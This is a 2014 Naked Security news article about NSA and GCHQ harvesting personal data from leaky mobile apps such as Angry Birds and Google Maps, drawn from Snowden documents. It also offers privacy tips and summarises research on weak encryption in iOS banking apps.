Spy agencies are slurping personal data from leaky mobile apps by Lisa Vaas on January 29, 2014 The US' National Security Agency (NSA) and its UK counterpart, GCHQ, have been honing their data-slurping technologies to suck up whatever they can get from leaky smartphones, the Guardian reported on Tuesday. Beyond device details, data shared over the internet by iOS and Android apps can include personal information such as age, gender, and location, while some apps share even more sensitive user information, such as sexual preference or whether a given user might be a swinger. The Guardian, relying on top-secret documents handed over by whistleblower Edward Snowden, says that the spy guys are developing capabilities to milk this private information from apps as innocuous as the insanely popular Angry Birds game. Reporting in partnership with the New York Times and Pro Publica, they revealed that the NSA and GCHQ have "extensive tools" ready to throw against iPhone, Android and other phone platforms. The agencies also apparently think of Google Maps as a gold mine. The Guardian reports that one project involved intercepting Google Maps queries from smartphones to collect large volumes of location data. The newspaper quotes a 2008 document's gleeful assessment of the Google Maps work, in which it noted that: t effectively means that anyone using Google Maps on a smartphone is working in support of a GCHQ system. The documents suggest that, depending on how much information a user has provided in his or her profile on a given app, the agency could collect "almost every key detail of a user's life", the Guardian reports: home country, current location (through geolocation), age, gender, zip code, marital status - options included "single", "married", "divorced", "swinger" and more - income, ethnicity, sexual orientation, education level, and number of children. Given how popular Angry Birds is, and given that the secret documents use it as a case study, some articles have hung Angry Birds in their headlinery - that's like finery, but with headlines instead of undies. But Angry Birds shouldn't be singled out as being in any way subverted or corrupted by the NSA or GCHQ. Angry Birds is, after all, just one of thousands of mobile apps, none of which has been indicted as complicit with, or data-raked by, the NSA or GCHQ - rather, the spying agencies are, as news reports say, simply tapping data as it flies across the network. Rovio, the maker of Angry Birds, told the Guardian that it wasn't aware of any NSA or GCHQ programs looking to extract data from its apps users. The newspaper quotes Saara Bergström, Rovio's VP of marketing and communications: Rovio doesn't have any previous knowledge of this matter, and have not been aware of such activity in third-party advertising networks. Nor do we have any involvement with the organisations you mentioned [NSA and GCHQ]. The NSA's data sniffing is far from news, of course - the names PRISM and XKeyscore should ring some bells in that department. Much of the profile data in question isn't being nefariously pickpocketed from app users, at any rate. As Naked Security pointed out on Monday in honor of Data Privacy Day, many of us are willingly giving our personal data away. It's easy to see why: it's a heck of a lot more fun to have apps spill your beans, since in exchange we get linked to communities or get shiny doo-dads. All we have to do is fill out profiles with stuff they actually don't, really, need - birthdates, marital status, etc. We can take back a big chunk of our privacy simply by refusing to hand over data, whether it's given in a profile or beamed out when we have WiFi and/or geolocation turned on. Cinching our data waistbands can be done with three simple steps, outlined by Naked Security in the Privacy Plan Diet. If you can live without "Find My iPad" or other such geolocation-dependent goodies, you can keep a lot of your data out of the hands of spies, marketers or other data busybodies. But beyond information knowingly handed over in profiles, phone apps have a nasty habit of sharing more data than users may realize. Sometimes the holes come from software bugs, but then again, sometimes data leakage is an unintended consequence of users' own, deliberate actions, such as: Twitter users having geolocation turned on, using the word "home" in their tweets and, Presto! thereby potentially handing a nosy little application their home address. Soldiers snapping photos that smartphones then automatically geotag, giving the enemy their coordinates. Fugitives' locations - John McAfee comes to mind - babbled by a photo's location metadata, precise latitude, longitude, time and all. Beyond bugs and deliberate leakage from probably-inattentive users is yet another category: apps that silently gulp data in the background while they're doing innocent-seeming things in the foreground, such as being a flashlight or a mobile app for kids. There are issues with mobile privacy, and then too there's security. Specifically, phones have lagged behind websites in their use of encryption, such as, for example, the notable lack of security in banking apps. Why cast a hairy eyeball at privacy as it plays out in Angry Birds profile data when you've got iOS banking apps to worry about? Given recent research from Ariel Sanchez, a researcher at security assessment company IOActive, there's very little security indeed to be had there. Sanchez found that out of 40 iOS banking apps used by 60 banks in about 20 countries, 70% of the apps offered no support at all for two-factor authentication (2FA), and 40% of the apps weren't validating SSL certificates - in other words, they weren't able to notice bogus SSL certificates when accessing supposedly secure HTTPS traffic and couldn't, therefore, stop a theoretical man-in-the-middle attack. What does this have to do with Angry Birds et al.? If the connection between the phones and the servers such apps were talking to had been well-encrypted, then it's likely that the data they exchanged would have been unintelligible to anyone trying to read it on-the-wire. Should Angry Birds, or ads on Angry Birds, or the other apps in question, or the ads on those apps, have been using HTTPS or some form of encryption? Yes. But the lack of such security measures isn't, unfortunately, remarkable, as research including Sanchez's work on iOS banking apps makes clear. Sursa: Spy agencies are slurping personal data from leaky mobile apps | Naked Security